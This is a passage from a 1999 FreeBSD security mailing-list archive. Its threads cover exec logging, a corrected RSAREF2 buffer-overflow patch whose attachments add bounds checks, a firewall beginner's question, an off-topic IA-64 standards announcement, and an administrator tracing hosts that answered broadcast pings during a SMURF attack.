sarenet.es (8.8.8/8.8.5) with ESMTP id UAA00150 for ; Sun, 12 Dec 1999 20:13:37 +0100 (MET) Message-ID: <3853F4A8.D32AF81B@sarenet.es> Date: Sun, 12 Dec 1999 20:16:56 +0100 From: Borja Marcos X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 3.3-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-security@freebsd.org Subject: Logging and security Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hello, This is my first day in this list, so greetings to all :-) One of the areas which need attention in FreeBSD is event logging. Logging is essential for good security, as detection of exploitation of unknown security holes often depends on logging. I have noticed that attempts to execute a program from a filesystem mounted as "noexec" aren't logged, and they could provide useful security information provided filesystems such as /tmp or /var are mounted as "noexec". I have sent a patch for kern_exec.c which logs these attempts (look at it as PR (really change request) kern/15435 in the GNATS database. It logs them as "notice" messages. Are you aware of other interesting events? Putting some work into this would (in my opinion) greatly enhance FreeBSD security. Regards, Borja. -- *********************************************************************** Borja Marcos * Internet: borjamar@sarenet.es Alangoeta, 11 1 izq * borjam@we.lc.ehu.es 48990 - Algorta (Vizcaya) * borjam@well.com SPAIN * *********************************************************************** To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Dec 12 13:14:14 1999 Delivered-To: freebsd-security@freebsd.org Received: from turing.csis.gvsu.edu (turing.csis.gvsu.edu [148.61.162.181]) by hub.freebsd.org (Postfix) with SMTP id CCD4014DD8 for ; Sun, 12 Dec 1999 13:14:12 -0800 (PST) (envelope-from matt@csis.gvsu.edu) Received: (qmail 14852 invoked by uid 0); 12 Dec 1999 21:14:08 -0000 Received: from pm493-08.dialip.mich.net (HELO 198.110.188.210) (198.110.188.210) by csis.gvsu.edu with SMTP; 12 Dec 1999 21:14:08 -0000 Received: (qmail 3046 invoked by uid 500); 12 Dec 1999 21:01:53 -0000 From: matt@csis.gvsu.edu Date: Sun, 12 Dec 1999 16:01:53 -0500 To: Andrew McNaughton Cc: Craig Critchley , freebsd-security@FreeBSD.ORG Subject: Re: port 5632 Message-ID: <19991212160153.A2977@badmofo> References: <03d201bf43b2$0979a530$0201010a@fuzzer.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: ; from andrew@scoop.co.nz on Sun, Dec 12, 1999 at 12:12:04AM +1300 X-my-OS-is-better-than-your-OS: FreeBSD 3.3-STABLE i386 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > http://www.robertgraham.com/pubs/firewall-seen.html > http://advice.networkice.com/advice/Exploits/Ports/ The nmap services file also contains a nice list: http://www.insecure.org/nmap/ -- http://www.csis.gvsu.edu/matt 03 F8 23 C5 43 A2 F7 5A 24 49 F7 B0 3A F9 B1 7F Try to understand everything, but believe nothing To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Dec 12 20:51:20 1999 Delivered-To: freebsd-security@freebsd.org Received: from mtiwmhc01.worldnet.att.net (mtiwmhc01.worldnet.att.net [204.127.131.36]) by hub.freebsd.org (Postfix) with ESMTP id 8948114FA7; Sun, 12 Dec 1999 20:50:55 -0800 (PST) (envelope-from Thrumbar@Worldnet.att.net) Received: from 11.neworleans-01-02rs16rt.la.dial-access.att.net ([12.73.238.11]) by mtiwmhc01.worldnet.att.net (InterMail v03.02.07.07 118-134) with SMTP id <19991213045053.GYMA5516@11.neworleans-01-02rs16rt.la.dial-access.att.net>; Mon, 13 Dec 1999 04:50:53 +0000 From: Thrumbar Pathfinder To: scsi@freebsd.org Cc: freebsd-security@FreeBSD.ORG Subject: Developer's Interface Guide for IA-64 Servers (DIG64) Adopter Date: Sun, 12 Dec 1999 22:47:52 -0600 Organization: OmniCorp Interstellar Message-ID: <54t85sgf6meqtotpmhrjgrmc831eidjqe8@4ax.com> X-Mailer: Forte Agent 1.7/32.534 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Attention, all FreeBSD, OpenBSD and NetBSD developers.. This is a chance we cannot ignore.. Please form up a development team with a central tram leader and get signed up for this offer. The Documentation personnel should sign up for the Contributors link to add BSD's voice in setting the guidelines for future BSD development for all three forms... Please read below.. (also, team leaders, send me a e-mail when you sign-up to keep me informed as to the process and to get an idea on how many teams there is involved) About the DIG64 Leading hardware and software vendors have formed an industry group to develop the DIG64 guidelines. These guidelines establish basic system building blocks, interfaces, and programming conventions for upcoming IA-64 based servers and their system-level software in order to define hardware and software compatibility and interoperability.=20 DIG64 is...=20 an industry-driven set of technical guidelines that define hardware, firmware and operating system's compatibility for IA-64 servers providing IT with systems built on common, stabilized interfaces that improve reliability and interoperability, lower qualification and support costs developed and backed by the key IA-64 OEMs, OSVs, and BIOS vendors who are contributing to its development and are building compliant products allowing the industry to accelerate the pace of IA-64 technology adoption=20 By defining common building blocks and interfaces and proactively addressing legacy issues, the DIG64 provides an array of benefits for both developers and IT organizations.=20 =46or developers, the DIG64: =20 Increases the efficiency of the design process, freeing developers to focus design resources of features that add unique value and differentiate their products in the marketplace. =20 Gives firmware and OS vendors a known set of interfaces to build to, enabling them to confidentially develop their products concurrently with the hardware and shrink time to markets. =20 Provides a technology migration roadmap that extends the planning horizon for developers and allows them to create designs with increased longevity.=20 =46or business users and Information Technology (IT) departments: =20 Standard interfaces and interoperable layers enhance the reliability and robustness of the resulting servers as well as lowering qualification costs. Since developers find it easier to build components that work together, customers can enjoy a greater choice of robust, innovative server solutions. Because the DIG64 addresses the migration of support-intensive, obsolete technologies to newer, more robust choices, IT departments can control or reduce the cost of server support.=20 DIG64 Defined =20 The DIG64 specification defines basic system building blocks, interfaces and programming conventions between IA-64 based servers and system-level software such as the operating system and device drivers. The specification covers:=20 Core system components such as the processor, chipset, memory, I/O bus, and server management hardware.=20 =20 Interfaces to peripheral devices for networking, communications and storage.=20 =20 Low-level firmware interfaces to the operating system for system configuration, boot and runtime services.=20 The guide does not create new standards and interfaces, but selects components and interfaces from already existing technologies. To ensure interoperability, the DIG64 also specifies implementation requirements for each specification or standard.=20 The DIG64 spells out a roadmap for eliminating obsolete technologies. Release 1.0, which is currently available , pertains to servers=20 based on the Intel=AE Itanium=99 processor. Subsequent versions will address future processors as they are developed. A three-level hierarchy of required, recommended and optional features enables vendors to choose how quickly they want to remove older technologies.=20 The DIG64 is operating-system independent, promoting cross-platform interoperability among servers running Windows 2000*, Linux and other UNIX* operating systems.=20 Join Other Industry Leaders Already Building Compatible IA-64 Server Solutions! =20 =20 There is still time to get involved by becoming a DIG64 Adopter member. To find out more about the advantages of becoming a DIG64 Adopter, take look at the DIG64 www site.... http://www.dig64.org/ To sign up as a Developer's Interface Guide for IA-64 Servers (DIG64) Adopter, complete all of the information at the link listed below and hit the submit button. You will then be able to download a "DIG64 Adopters Agreement". http://www.dig64.org/signup.htm By becoming a DIG64 Contributor, you will be able to provide technical input into the development of the DIG64 guidelines in addition to gaining access to the latest published draft. All input will be reviewed by the DIG64 Working Group for possible inclusion in the guideline. http://www.dig64.org/contributor.htm When you have formed your group please e-mail me so that I will know how many groups there are.. Please include a list of the individuals on the team and their position on said team as well as any contact information you are willing to provide... Thrumbar@Worldnet.att.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Dec 13 8:14:40 1999 Delivered-To: freebsd-security@freebsd.org Received: from hotmail.com (f176.law4.hotmail.com [216.33.149.176]) by hub.freebsd.org (Postfix) with SMTP id 5D5B514FF7 for ; Mon, 13 Dec 1999 08:14:37 -0800 (PST) (envelope-from binkieboi@hotmail.com) Received: (qmail 34191 invoked by uid 0); 13 Dec 1999 16:14:34 -0000 Message-ID: <19991213161434.34190.qmail@hotmail.com> Received: from 12.10.140.2 by www.hotmail.com with HTTP; Mon, 13 Dec 1999 08:14:34 PST X-Originating-IP: [12.10.140.2] From: "Adidas Boy" To: freebsd-security@FreeBSD.ORG Subject: Why use a Firewall? Date: Mon, 13 Dec 1999 09:14:34 MST Mime-Version: 1.0 Content-Type: text/plain; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I have always wondered what does a firewall really do for one? I mean why should one have one for their web servers and what kind of protection does it give to protect against hackers or what not? If i was to install a firewall what types of programs should I install? Any responses would be appreciated. The servers i'm mainly running would just be DNS, Web Server, and mail server. Brian ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Dec 13 9:35:34 1999 Delivered-To: freebsd-security@freebsd.org Received: from super-g.com (super-g.com [207.240.140.161]) by hub.freebsd.org (Postfix) with ESMTP id 87E8B14C11 for ; Mon, 13 Dec 1999 09:35:31 -0800 (PST) (envelope-from spork@super-g.com) Received: by super-g.com (Postfix, from userid 1000) id 9A601C83E; Mon, 13 Dec 1999 12:35:29 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by super-g.com (Postfix) with SMTP id 7E04DC83C; Mon, 13 Dec 1999 12:35:29 -0500 (EST) Date: Mon, 13 Dec 1999 12:35:29 -0500 (EST) From: spork X-Sender: spork@super-g.inch.com To: Kris Kennaway Cc: Mike Tancsa , security@FreeBSD.ORG Subject: Re: RSAREF updated patch (was Re: Security Advisory: Buffer overflow in RSAREF2 (fwd)) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="0-1100292302-945106529=:15202" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --0-1100292302-945106529=:15202 Content-Type: TEXT/PLAIN; charset=US-ASCII I see it was committed this morning, but it appears to be broken: ftp> get rsaref.tar local: rsaref.tar remote: rsaref.tar root@ass[/usr/ports/security]# tar xvf rsaref.tar root@ass[/usr/ports/security/rsaref]# date Mon Dec 13 12:31:35 EST 1999 root@ass[/usr/ports/security/rsaref]# make ===> Extracting for rsaref-2.0 >> Checksum OK for rsaref20.1996.tar.Z. ===> Patching for rsaref-2.0 ===> Applying FreeBSD patches for rsaref-2.0 4 out of 4 hunks failed--saving rejects to rsa.c.rej *** Error code 4 Stop. *** Error code 1 If I back out of ver 1.2, all is well. Just an fyi... Thanks, Charles On Sat, 11 Dec 1999, Kris Kennaway wrote: > On Fri, 10 Dec 1999, Mike Tancsa wrote: > > > There seems to be another update posted to BUGTRAQ around this issue. Here > > is part of the post. > > Yes, I saw it - I'll get this committed as soon as the ports freeze for > 3.4 is up. It's a shame this arrived a few hours after the freeze, > although since we don't ship any rsaref-containing binaries (or any other > crypto binaries) on CD it's not quite so bad. > > Kris > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > --0-1100292302-945106529=:15202 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="rsa.c.rej" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: rejects from applying latest ssh patch Content-Disposition: attachment; filename="rsa.c.rej" KioqKioqKioqKioqKioqDQoqKiogMzMsMzggKioqKg0KICAgIHVuc2lnbmVk IGNoYXIgYnl0ZSwgcGtjc0Jsb2NrW01BWF9SU0FfTU9EVUxVU19MRU5dOw0K ICAgIHVuc2lnbmVkIGludCBpLCBtb2R1bHVzTGVuOw0KICANCiAgICBtb2R1 bHVzTGVuID0gKHB1YmxpY0tleS0+Yml0cyArIDcpIC8gODsNCiAgICBpZiAo aW5wdXRMZW4gKyAxMSA+IG1vZHVsdXNMZW4pDQogICAgICByZXR1cm4gKFJF X0xFTik7DQotLS0gMzMsNDEgLS0tLQ0KICAgIHVuc2lnbmVkIGNoYXIgYnl0 ZSwgcGtjc0Jsb2NrW01BWF9SU0FfTU9EVUxVU19MRU5dOw0KICAgIHVuc2ln bmVkIGludCBpLCBtb2R1bHVzTGVuOw0KICANCisgICBpZiAocHVibGljS2V5 LT5iaXRzID4gTUFYX1JTQV9NT0RVTFVTX0JJVFMpDQorICAgICByZXR1cm4g KFJFX0xFTik7DQorICAgICBtb2R1bHVzTGVuID0gKHB1YmxpY0tleS0+Yml0 cyArIDcpIC8gODsNCiAgICBpZiAoaW5wdXRMZW4gKyAxMSA+IG1vZHVsdXNM ZW4pDQogICAgICByZXR1cm4gKFJFX0xFTik7DQoqKioqKioqKioqKioqKioN CioqKiA3OCw4MyAqKioqDQogICAgdW5zaWduZWQgY2hhciBwa2NzQmxvY2tb TUFYX1JTQV9NT0RVTFVTX0xFTl07DQogICAgdW5zaWduZWQgaW50IGksIG1v ZHVsdXNMZW4sIHBrY3NCbG9ja0xlbjsNCiAgDQogICAgbW9kdWx1c0xlbiA9 IChwdWJsaWNLZXktPmJpdHMgKyA3KSAvIDg7DQogICAgaWYgKGlucHV0TGVu ID4gbW9kdWx1c0xlbikNCiAgICAgIHJldHVybiAoUkVfTEVOKTsNCi0tLSA4 MSw4OSAtLS0tDQogICAgdW5zaWduZWQgY2hhciBwa2NzQmxvY2tbTUFYX1JT QV9NT0RVTFVTX0xFTl07DQogICAgdW5zaWduZWQgaW50IGksIG1vZHVsdXNM ZW4sIHBrY3NCbG9ja0xlbjsNCiAgDQorICAgaWYgKHB1YmxpY0tleS0+Yml0 cyA+IE1BWF9SU0FfTU9EVUxVU19CSVRTKQ0KKyAgICAgcmV0dXJuIChSRV9M RU4pOw0KKyAgICAgbW9kdWx1c0xlbiA9IChwdWJsaWNLZXktPmJpdHMgKyA3 KSAvIDg7DQogICAgaWYgKGlucHV0TGVuID4gbW9kdWx1c0xlbikNCiAgICAg IHJldHVybiAoUkVfTEVOKTsNCioqKioqKioqKioqKioqKg0KKioqIDEyOCwx MzMgKioqKg0KICAgIGludCBzdGF0dXM7DQogICAgdW5zaWduZWQgY2hhciBw a2NzQmxvY2tbTUFYX1JTQV9NT0RVTFVTX0xFTl07DQogICAgdW5zaWduZWQg aW50IGksIG1vZHVsdXNMZW47DQogIA0KICAgIG1vZHVsdXNMZW4gPSAocHJp dmF0ZUtleS0+Yml0cyArIDcpIC8gODsNCiAgICBpZiAoaW5wdXRMZW4gKyAx MSA+IG1vZHVsdXNMZW4pDQotLS0gMTM0LDE0MiAtLS0tDQogICAgaW50IHN0 YXR1czsNCiAgICB1bnNpZ25lZCBjaGFyIHBrY3NCbG9ja1tNQVhfUlNBX01P RFVMVVNfTEVOXTsNCiAgICB1bnNpZ25lZCBpbnQgaSwgbW9kdWx1c0xlbjsN CisgKyAgIGlmIChwcml2YXRlS2V5LT5iaXRzID4gTUFYX1JTQV9NT0RVTFVT X0JJVFMpDQorICAgICByZXR1cm4gKFJFX0xFTik7DQogIA0KICAgIG1vZHVs dXNMZW4gPSAocHJpdmF0ZUtleS0+Yml0cyArIDcpIC8gODsNCiAgICBpZiAo aW5wdXRMZW4gKyAxMSA+IG1vZHVsdXNMZW4pDQoqKioqKioqKioqKioqKioN CioqKiAxNjgsMTczICoqKioNCiAgICB1bnNpZ25lZCBjaGFyIHBrY3NCbG9j a1tNQVhfUlNBX01PRFVMVVNfTEVOXTsNCiAgICB1bnNpZ25lZCBpbnQgaSwg bW9kdWx1c0xlbiwgcGtjc0Jsb2NrTGVuOw0KICANCiAgICBtb2R1bHVzTGVu ID0gKHByaXZhdGVLZXktPmJpdHMgKyA3KSAvIDg7DQogICAgaWYgKGlucHV0 TGVuID4gbW9kdWx1c0xlbikNCiAgICAgIHJldHVybiAoUkVfTEVOKTsNCi0t LSAxNzcsMTg1IC0tLS0NCiAgICB1bnNpZ25lZCBjaGFyIHBrY3NCbG9ja1tN QVhfUlNBX01PRFVMVVNfTEVOXTsNCiAgICB1bnNpZ25lZCBpbnQgaSwgbW9k dWx1c0xlbiwgcGtjc0Jsb2NrTGVuOw0KICANCisgICBpZiAocHJpdmF0ZUtl eS0+Yml0cyA+IE1BWF9SU0FfTU9EVUxVU19CSVRTKQ0KKyAgICAgcmV0dXJu IChSRV9MRU4pOw0KKyAgICAgbW9kdWx1c0xlbiA9IChwcml2YXRlS2V5LT5i aXRzICsgNykgLyA4Ow0KICAgIGlmIChpbnB1dExlbiA+IG1vZHVsdXNMZW4p DQogICAgICByZXR1cm4gKFJFX0xFTik7DQo= --0-1100292302-945106529=:15202-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Dec 13 10: 1:59 1999 Delivered-To: freebsd-security@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id 8274A15199; Mon, 13 Dec 1999 10:01:26 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 3B3881CD609; Mon, 13 Dec 1999 10:01:26 -0800 (PST) (envelope-from kris@hub.freebsd.org) Date: Mon, 13 Dec 1999 10:01:26 -0800 (PST) From: Kris Kennaway To: spork Cc: Mike Tancsa , security@FreeBSD.ORG Subject: Re: RSAREF updated patch (was Re: Security Advisory: Buffer overflow in RSAREF2 (fwd)) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hmm, Satoshi? I did warn you I couldn't test the port :-) Kris On Mon, 13 Dec 1999, spork wrote: > I see it was committed this morning, but it appears to be broken: > > ftp> get rsaref.tar > local: rsaref.tar remote: rsaref.tar > > root@ass[/usr/ports/security]# tar xvf rsaref.tar > > root@ass[/usr/ports/security/rsaref]# date > Mon Dec 13 12:31:35 EST 1999 > root@ass[/usr/ports/security/rsaref]# make > ===> Extracting for rsaref-2.0 > >> Checksum OK for rsaref20.1996.tar.Z. > ===> Patching for rsaref-2.0 > ===> Applying FreeBSD patches for rsaref-2.0 > 4 out of 4 hunks failed--saving rejects to rsa.c.rej > *** Error code 4 > > Stop. > *** Error code 1 > > If I back out of ver 1.2, all is well. > > Just an fyi... > > Thanks, > > Charles > > On Sat, 11 Dec 1999, Kris Kennaway wrote: > > > On Fri, 10 Dec 1999, Mike Tancsa wrote: > > > > > There seems to be another update posted to BUGTRAQ around this issue. Here > > > is part of the post. > > > > Yes, I saw it - I'll get this committed as soon as the ports freeze for > > 3.4 is up. It's a shame this arrived a few hours after the freeze, > > although since we don't ship any rsaref-containing binaries (or any other > > crypto binaries) on CD it's not quite so bad. > > > > Kris > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-security" in the body of the message > > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Dec 13 10:21:21 1999 Delivered-To: freebsd-security@freebsd.org Received: from pawn.primelocation.net (pawn.primelocation.net [205.161.238.235]) by hub.freebsd.org (Postfix) with ESMTP id 5FA72157E7; Mon, 13 Dec 1999 10:21:17 -0800 (PST) (envelope-from jedgar@fxp.org) Received: from earth.fxp (oca-p2-98.hitter.net [207.192.76.98]) by pawn.primelocation.net (Postfix) with ESMTP id 1BF8F9B1C; Mon, 13 Dec 1999 13:21:09 -0500 (EST) Date: Mon, 13 Dec 1999 13:21:08 -0500 (EST) From: "Chris D. Faulhaber" X-Sender: jedgar@earth.fxp To: Kris Kennaway Cc: spork , Mike Tancsa , security@FreeBSD.ORG, asami@freebsd.org Subject: Re: RSAREF updated patch (was Re: Security Advisory: Buffer overflow in RSAREF2 (fwd)) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="0-1067800467-945109268=:50988" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --0-1067800467-945109268=:50988 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 13 Dec 1999, Kris Kennaway wrote: > Hmm, Satoshi? I did warn you I couldn't test the port :-) > > Kris > > On Mon, 13 Dec 1999, spork wrote: > > > I see it was committed this morning, but it appears to be broken: > > > > ftp> get rsaref.tar > > local: rsaref.tar remote: rsaref.tar > > > > root@ass[/usr/ports/security]# tar xvf rsaref.tar > > > > root@ass[/usr/ports/security/rsaref]# date > > Mon Dec 13 12:31:35 EST 1999 > > root@ass[/usr/ports/security/rsaref]# make > > ===> Extracting for rsaref-2.0 > > >> Checksum OK for rsaref20.1996.tar.Z. > > ===> Patching for rsaref-2.0 > > ===> Applying FreeBSD patches for rsaref-2.0 > > 4 out of 4 hunks failed--saving rejects to rsa.c.rej > > *** Error code 4 > > The problem with the patch is whitespace. Attached is patch-ac with the correct whitespace...tested to compile and work with openssl and openssh. ----- Chris D. Faulhaber | You can ISO9001 certify the process of System/Network Administrator, | shooting yourself in the foot, so long Reality Check Information, Inc. | as the process is documented and reliably | produces the proper result. --0-1067800467-945109268=:50988 Content-Type: TEXT/PLAIN; charset=US-ASCII; name=patch-ac Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename=patch-ac LS0tIHJzYS5jLm9yaWcJRnJpIE1hciAyNSAxNDowMTo0OCAxOTk0DQorKysg cnNhLmMJTW9uIERlYyAxMyAxMzoxMDoyOCAxOTk5DQpAQCAtMzMsNiArMzMs OSBAQA0KICAgdW5zaWduZWQgY2hhciBieXRlLCBwa2NzQmxvY2tbTUFYX1JT QV9NT0RVTFVTX0xFTl07DQogICB1bnNpZ25lZCBpbnQgaSwgbW9kdWx1c0xl bjsNCiAgIA0KKyAgaWYgKHB1YmxpY0tleS0+Yml0cyA+IE1BWF9SU0FfTU9E VUxVU19CSVRTKQ0KKyAgICByZXR1cm4gKFJFX0xFTik7DQorDQogICBtb2R1 bHVzTGVuID0gKHB1YmxpY0tleS0+Yml0cyArIDcpIC8gODsNCiAgIGlmIChp bnB1dExlbiArIDExID4gbW9kdWx1c0xlbikNCiAgICAgcmV0dXJuIChSRV9M RU4pOw0KQEAgLTc4LDYgKzgxLDkgQEANCiAgIHVuc2lnbmVkIGNoYXIgcGtj c0Jsb2NrW01BWF9SU0FfTU9EVUxVU19MRU5dOw0KICAgdW5zaWduZWQgaW50 IGksIG1vZHVsdXNMZW4sIHBrY3NCbG9ja0xlbjsNCiAgIA0KKyAgaWYgKHB1 YmxpY0tleS0+Yml0cyA+IE1BWF9SU0FfTU9EVUxVU19CSVRTKQ0KKyAgICBy ZXR1cm4gKFJFX0xFTik7DQorDQogICBtb2R1bHVzTGVuID0gKHB1YmxpY0tl eS0+Yml0cyArIDcpIC8gODsNCiAgIGlmIChpbnB1dExlbiA+IG1vZHVsdXNM ZW4pDQogICAgIHJldHVybiAoUkVfTEVOKTsNCkBAIC0xMjgsNiArMTM0LDkg QEANCiAgIGludCBzdGF0dXM7DQogICB1bnNpZ25lZCBjaGFyIHBrY3NCbG9j a1tNQVhfUlNBX01PRFVMVVNfTEVOXTsNCiAgIHVuc2lnbmVkIGludCBpLCBt b2R1bHVzTGVuOw0KKw0KKyAgaWYgKHByaXZhdGVLZXktPmJpdHMgPiBNQVhf UlNBX01PRFVMVVNfQklUUykNCisgICAgcmV0dXJuIChSRV9MRU4pOw0KICAg DQogICBtb2R1bHVzTGVuID0gKHByaXZhdGVLZXktPmJpdHMgKyA3KSAvIDg7 DQogICBpZiAoaW5wdXRMZW4gKyAxMSA+IG1vZHVsdXNMZW4pDQpAQCAtMTY4 LDYgKzE3Nyw5IEBADQogICB1bnNpZ25lZCBjaGFyIHBrY3NCbG9ja1tNQVhf UlNBX01PRFVMVVNfTEVOXTsNCiAgIHVuc2lnbmVkIGludCBpLCBtb2R1bHVz TGVuLCBwa2NzQmxvY2tMZW47DQogICANCisgIGlmIChwcml2YXRlS2V5LT5i aXRzID4gTUFYX1JTQV9NT0RVTFVTX0JJVFMpDQorICAgIHJldHVybiAoUkVf TEVOKTsNCisNCiAgIG1vZHVsdXNMZW4gPSAocHJpdmF0ZUtleS0+Yml0cyAr IDcpIC8gODsNCiAgIGlmIChpbnB1dExlbiA+IG1vZHVsdXNMZW4pDQogICAg IHJldHVybiAoUkVfTEVOKTsNCg== --0-1067800467-945109268=:50988-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Dec 13 11:50:41 1999 Delivered-To: freebsd-security@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id 6EF7F14CC0; Mon, 13 Dec 1999 11:50:40 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 656991CD741; Mon, 13 Dec 1999 11:50:40 -0800 (PST) (envelope-from kris@hub.freebsd.org) Date: Mon, 13 Dec 1999 11:50:40 -0800 (PST) From: Kris Kennaway To: Thrumbar Pathfinder Cc: freebsd-security@FreeBSD.ORG Subject: Re: Developer's Interface Guide for IA-64 Servers (DIG64) Adopter In-Reply-To: <54t85sgf6meqtotpmhrjgrmc831eidjqe8@4ax.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Fine, but this has nothing to do with FreeBSD security or SCSI support. Kris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Dec 13 16:42:41 1999 Delivered-To: freebsd-security@freebsd.org Received: from mail.webct.com (mail.webct.com [209.87.17.10]) by hub.freebsd.org (Postfix) with ESMTP id 4CC0F14C48 for ; Mon, 13 Dec 1999 16:42:33 -0800 (PST) (envelope-from dfoo@ca.webct.com) Received: from ca.webct.com (ws74.webct.com [209.87.17.104]) by mail.webct.com (8.9.3/8.9.3) with ESMTP id QAA17542 for ; Mon, 13 Dec 1999 16:42:32 -0800 (PST) Message-ID: <38559278.C873BC70@ca.webct.com> Date: Mon, 13 Dec 1999 16:42:32 -0800 From: Darren Foo Reply-To: dfoo@webct.com Organization: WebCT Canada X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 3.3-STABLE i386) X-Accept-Language: en MIME-Version: 1.0 To: "'freebsd-security@FreeBSD.ORG'" Subject: SMURF Attack Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I have over a hundred machines on my network and pinging our broadcast address does reply. MY network seems to be used to attack a UUnet router. Is there a way that I can find out which machines are replying to the broadcast ip? -- Darren Foo To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Dec 13 16:48:13 1999 Delivered-To: freebsd-security@freebsd.org Received: from ns.Myable.COM (ns.myable.com [208.48.119.194]) by hub.freebsd.org (Postfix) with ESMTP id 17295152B3 for ; Mon, 13 Dec 1999 16:48:11 -0800 (PST) (envelope-from beej@myable.com) Received: from KGB (dmz-gateway.myable.com [208.48.119.193]) by ns.Myable.COM (8.9.3/8.9.3) with ESMTP id QAA60604; Mon, 13 Dec 1999 16:47:55 -0800 (PST) (envelope-from beej@myable.com) Message-Id: <4.2.2.19991213164709.012efd10@mail.myable.com> X-Sender: beej@mail.myable.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Mon, 13 Dec 1999 16:47:46 -0800 To: dfoo@webct.com From: Marc Bejarano Subject: Re: SMURF Attack Cc: "'freebsd-security@FreeBSD.ORG'" In-Reply-To: <38559278.C873BC70@ca.webct.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 04:42 PM 12/13/1999 , Darren Foo wrote: > I have over a hundred machines on my network and pinging our broadcast >address does reply. MY network seems to be used to attack a UUnet >router. Is there a way that I can find out which machines are replying >to the broadcast ip? umm... a ping to the broadcast address doesn't work? usually you'll see the individual replies. marc To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Dec 13 16:54:57 1999 Delivered-To: freebsd-security@freebsd.org Received: from mail.webct.com (mail.webct.com [209.87.17.10]) by hub.freebsd.org (Postfix) with ESMTP id EEF9D14C48 for ; Mon, 13 Dec 1999 16:54:49 -0800 (PST) (envelope-from dfoo@ca.webct.com) Received: from ca.webct.com (ws74.webct.com [209.87.17.104]) by mail.webct.com (8.9.3/8.9.3) with ESMTP id QAA17833; Mon, 13 Dec 1999 16:54:43 -0800 (PST) Message-ID: <38559553.3D1B0763@ca.webct.com> Date: Mon, 13 Dec 1999 16:54:43 -0800 From: Darren Foo Reply-To: dfoo@webct.com Organization: WebCT Canada X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 3.3-STABLE i386) X-Accept-Language: en MIME-Version: 1.0 To: Marc Bejarano Cc: "'freebsd-security@FreeBSD.ORG'" Subject: Re: SMURF Attack References: <4.2.2.19991213164709.012efd10@mail.myable.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Oops. I apologize. The individual responding ips do show up. My mistake. Marc Bejarano wrote: > > At 04:42 PM 12/13/1999 , Darren Foo wrote: > > I have over a hundred machines on my network and pinging our broadcast > >address does reply. MY network seems to be used to attack 